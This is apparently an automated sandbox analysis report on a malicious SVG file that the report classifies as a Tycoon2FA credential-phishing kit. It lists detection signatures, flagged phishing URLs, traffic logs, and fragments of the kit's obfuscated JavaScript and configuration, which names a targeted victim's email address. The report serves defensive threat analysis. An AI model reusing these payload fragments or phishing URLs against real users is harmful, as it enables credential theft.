Edit tour

Windows Analysis Report
3414736839.svg

Overview

General Information

Sample name:3414736839.svg
Analysis ID:1642944
MD5:07841d6feff46b707d9b92adaed4afc4
SHA1:b0c95ea24f0065cc13977621725afcb5d56a6b32
SHA256:f0ba46fad3923a1538afdd66d87d3e518f4d961c9a6982ef290a3173a9b09e35
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA
Score:100
Range:0 - 100
Confidence:100%

Signatures

Antivirus detection for URL or domain
Yara detected AntiDebug via timestamp check
Yara detected HtmlPhish10
Yara detected HtmlPhish80
Yara detected Invisible JS
Yara detected Obfuscation Via HangulCharacter
Yara detected Tycoon 2FA PaaS
AI detected suspicious Javascript
Yara detected JavaScript embedded in SVG
Creates files inside the system directory
Deletes files inside the Windows folder
HTML body contains low number of good links
HTML body contains password input but no form action
HTML page contains hidden javascript code
HTML title does not match URL
Invalid T&C link found
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
  • System is w10x64_ra
  • chrome.exe (PID: 1612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\3414736839.svg MD5: E81F54E6C1129887AEA47E7D092680BF)
    • chrome.exe (PID: 4696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1944,i,16262697168647705073,7806705129101281971,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)
  • cleanup
SourceRuleDescriptionAuthorStrings
3414736839.svgJoeSecurity_JavaScriptembeddedinSVGYara detected JavaScript embedded in SVGJoe Security
    3414736839.svgJoeSecurity_HtmlPhish_80Yara detected HtmlPhish_80Joe Security
      SourceRuleDescriptionAuthorStrings
      dropped/chromecache_91JoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
        SourceRuleDescriptionAuthorStrings
        1.1.d.script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
          1.1.d.script.csvJoeSecurity_AntiDebugBrowserYara detected AntiDebug via timestamp checkJoe Security
            1.2.d.script.csvJoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
              1.2.d.script.csvJoeSecurity_InvisibleJSYara detected Invisible JSJoe Security
                1.5..script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
                  Click to see the 20 entries
                  No Sigma rule has matched
                  No Suricata rule has matched

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Source: https://jonathanball.brightnexst.ru/pax6lf1/Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/abYHpYFvpqEccd28Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/GDSherpa-regular.woff2Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/ujJMp4UWprK216fgUSG9qses9SqIlMlOaylS7JH5r2tI9cqAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/wxOq0IetkuWlrtwBlstolvJEewJ4n12130Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/56Fq10dFVhZvkCk71cd3LP6718Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/ijMF5q6GR6pPSfidW9tT189FWiBOdTVCQzqgHato21Tzoplz44RJYstU5GlnfC3HS1ab227Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/sowk0pwIzMKIOObBz3Ya0sP9tr3OaXBtnAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/GDSherpa-regular.woffAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/rqqr2dn2MveG1ryZi6XOHuRzADeoa0tkPM6rGUeHD2iuZIIjyAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/GDSherpa-vf2.woff2Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/56X5bJjmGXkBMrbGa5WdAgh7eMeFYHh89110Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/GDSherpa-bold.woffAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/GDSherpa-bold.woff2Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/GDSherpa-vf.woff2Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/favicon.icoAvira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/wxm5QTUz7nCqWFY5sr1i48RpN8kNrsSPDrY0n1P6bFk0UdfWsQ7v90178Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/stFhtkB7TEKly1H3IQUoWNWNEgR63B68uEcYXepvF3AHX7GE67Gv0ceQWiQlcXnBCfG922mEt5PFV2czgh260Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/opJRxGc2xy8ooEdQ2exZsxyvxEPWhh7x1zr4uISuvBhfs3VacaHPGmUsJcd195Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/efYpQPhMgWn0RvQ1Fd6q9RiuQ2bxfKijJoOcHOTWOJoOJ7L90150Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/ijYmAVfZSWHuzFZDqTfjAGUob2bMLToNsDh1jKWaKHhklOCkOcZtRNI77YnjCg5gS12201Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/qrJwdR1NxSQXnL1OWwjVhdWEzkvaghVanTmGgjgvB67131Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/ijb99Z88QXsLLxmHlFDnw8wxxMfYWaMC27UMRy78165Avira URL Cloud: Label: phishing
                  Source: https://jonathanball.brightnexst.ru/qrLVibwrc9iWg9nErfv4VcKcQuvlnThBJKb5hIl1sTcCoriBZBAfknQNBNb8cd240Avira URL Cloud: Label: phishing

                  Phishing

                  barindex
                  Source: Yara matchFile source: 2.4.pages.csv, type: HTML
                  Source: Yara matchFile source: 2.3.pages.csv, type: HTML
                  Source: Yara matchFile source: 3414736839.svg, type: SAMPLE
                  Source: Yara matchFile source: 1.2.d.script.csv, type: HTML
                  Source: Yara matchFile source: 1.0.pages.csv, type: HTML
                  Source: Yara matchFile source: 1.1.pages.csv, type: HTML
                  Source: Yara matchFile source: 1.2.d.script.csv, type: HTML
                  Source: Yara matchFile source: 1.0.pages.csv, type: HTML
                  Source: Yara matchFile source: 2.20..script.csv, type: HTML
                  Source: Yara matchFile source: 1.1.pages.csv, type: HTML
                  Source: Yara matchFile source: dropped/chromecache_91, type: DROPPED
                  Source: Yara matchFile source: 2.17.d.script.csv, type: HTML
                  Source: Yara matchFile source: 1.1.d.script.csv, type: HTML
                  Source: Yara matchFile source: 1.5..script.csv, type: HTML
                  Source: Yara matchFile source: 1.0.pages.csv, type: HTML
                  Source: Yara matchFile source: 2.12..script.csv, type: HTML
                  Source: Yara matchFile source: 1.10.d.script.csv, type: HTML
                  Source: Yara matchFile source: 2.13..script.csv, type: HTML
                  Source: Yara matchFile source: 1.1.pages.csv, type: HTML
                  Source: Yara matchFile source: 2.4.pages.csv, type: HTML
                  Source: Yara matchFile source: 2.3.pages.csv, type: HTML
                  Source: 1.1.d.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and redirecting the user to an external website. The combination of these behaviors suggests a highly suspicious and potentially malicious script.
                  Source: 1.3..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://jonathanball.brightnexst.ru/pax6lf1/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote content is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
                  Source: 1.2.d.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
                  Source: 1.7..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://jonathanball.brightnexst.ru/pax6lf1/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be decoding and executing remote code, which could be used for malicious purposes such as stealing user data or redirecting users to phishing sites. Additionally, the script sends data to external domains, which could be used for data exfiltration. Overall, the combination of these behaviors indicates a high-risk script that should be further investigated.
                  Source: 1.9..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://jonathanball.brightnexst.ru/pax6lf1/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an unrelated domain (Google) are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
                  Source: Yara matchFile source: 3414736839.svg, type: SAMPLE
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: Number of links: 0
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: <input type="password" .../> found but no <form action="...
                  Source: https://jonathanball.brightnexst.ru/pax6lf1/#gtshegofatso.bayibayi%40jonathanball.co.zaHTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>EduVision - Transforming Education</title> <style> body { font-family: 'Segoe UI', Tahoma, Genev...
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: Title: Auth Login does not match URL
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: Invalid link: Terms of use
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: Invalid link: Privacy & cookies
                  Source: https://jonathanball.brightnexst.ru/pax6lf1/HTTP Parser: function fvdbmnrxse(){nkcknofpfs = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+rwr1vmlzaw9uic0gvhjhbnnmb3jtaw5nievkdwnhdglvbjwvdgl0bgu+ciagphn0ewxlpgogicagym9kesb7ciagicagigzvbnqtzmftawx5oianu2vnb2ugvuknlcbuywhvbwesiedlbmv2yswgvmvyzgfuyswgc2fucy1zzxjpzjskicagicagbwfyz2luoiawowogicagicbwywrkaw5noiawowogicagicbiywnrz3jvdw5klwnvbg9yoiajzjlmowy5owogicagicbjb2xvcjogizmzmzskicagih0kicagighlywrlcib7ciagicagigjhy2tncm91bmq6igxpbmvhci1ncmfkawvudcgxmzvkzwcsicm2ytexy2isicmyntc1zmmpowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzognjbwecaymhb4owogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogm3jlbtskicagicagzm9udc13zwlnahq6igjvbgq7ciagicb9ciagicbozwfkzxigccb7ciagicagigzvbnqtc2l6ztogms4ycmvtowogicagicbtyxjnaw4tdg9woiaxmhb4owogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogcmdiysgyntusidi1nswgmju1lcawljkpowogi...
                  Source: anonymous functionHTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "t8x6lf1";var emailcheck = "tshegofatso.bayibayi@jonathanball.co.za";var webname = "rtrim(/web8/, '/')";var urlo = "/ujjmp4uwprk216fgusg9qses9sqilmloayls7jh5r2ti9cq";var gdf = "/ij8ela1hwjovudcaddmer1buv9fekemhusvp8cd114";var odf = "/ghlehredxwfepriemjbizgkoxldoyz8dkyaimlzcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if...
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: <input type="password" .../> found
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: No favicon
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: No <meta name="author".. found
                  Source: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERHTTP Parser: No <meta name="copyright".. found
                  Source: unknownHTTPS traffic detected: 104.21.2.147:443 -> 192.168.2.18:49877 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.18:49884 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.18:49946 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.18:49968 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.18:49968 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.18:49969 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.18:49970 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49973 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.18:49974 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.18:49976 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.18:49978 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.18:49981 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:49982 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.18:49997 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.18:49998 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.18:50000 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.18:49999 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.18:50001 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.18:50002 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.18:50016 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.18:50018 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.18:50021 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.18:50030 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:50053 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:50054 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.18:50055 version: TLS 1.2
                  Source: chrome.exeMemory has grown: Private usage: 1MB later: 38MB
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.99
                  Source: unknownTCP traffic detected without corresponding DNS query: 199.232.214.172
                  Source: unknownTCP traffic detected without corresponding DNS query: 142.250.185.99
                  Source: unknownTCP traffic detected without corresponding DNS query: 199.232.214.172
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownTCP traffic detected without corresponding DNS query: 184.86.251.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 184.86.251.28
                  Source: unknownTCP traffic detected without corresponding DNS query: 184.30.131.245
                  Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.71
                  Source: global trafficHTTP traffic detected: GET /s3ZB8iDtdMrTte2MyzTiUjEDrXW1cMa77GwJbLStKdOdSKK7VRvGSuu4g1tzJRa9caHDiCspbCsFvUXCckaqN1cvkl3enGT1S2S37XzMmUh9t8BmJ5Pb6ubN7MhmiM5axSSWCxvtFQoIbOuvzhIqQbQlpqTdNJCONjvcSyzJRDZNp51zjlMHMhl4oNmVhDAq3vNxYcPs/PGkpW9YW8V3Fgf0PewDIzjvrmvlkWMTVy5dIfK7TGjV2pGKMYWuFCAQv1xZfw1n9NqWumVROjZZcUrM2QOsCog6F8VAWwJFPKCz2sQVPkqiiwtdMtlYWQckgYgISACPLA5cjorl8zhHATetXqIGLpsf07ZwYcMslYGxjehSn6nkhdx5OdzRl8gM22Be7cyevcWg6lmd4/tshegofatso.bayibayi@jonathanball.co.za HTTP/1.1Host: ljn84jrqeg.woofradio.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /pax6lf1/ HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ljn84jrqeg.woofradio.cfd/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=V3r1EN8UodnZFx5Daam.jDRnjfhX.SLTLsh35mTaNRI-1742384665-1.0.1.1-Qs8EVXpnlVd.MCqFZ_hLOiLQtM8De9MiPvv4vwlHwKARfILku8Z7Det7iurDLPXarxM1saSw9tNHAq8cPtB9yTRTZwV5_gKwRyNwJCoUQ9Q
                  Source: global trafficHTTP traffic detected: GET /kabutar@9fuae1wb HTTP/1.1Host: whod.xqwqkd.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Origin: https://jonathanball.brightnexst.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /kabutar@9fuae1wb HTTP/1.1Host: whod.xqwqkd.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
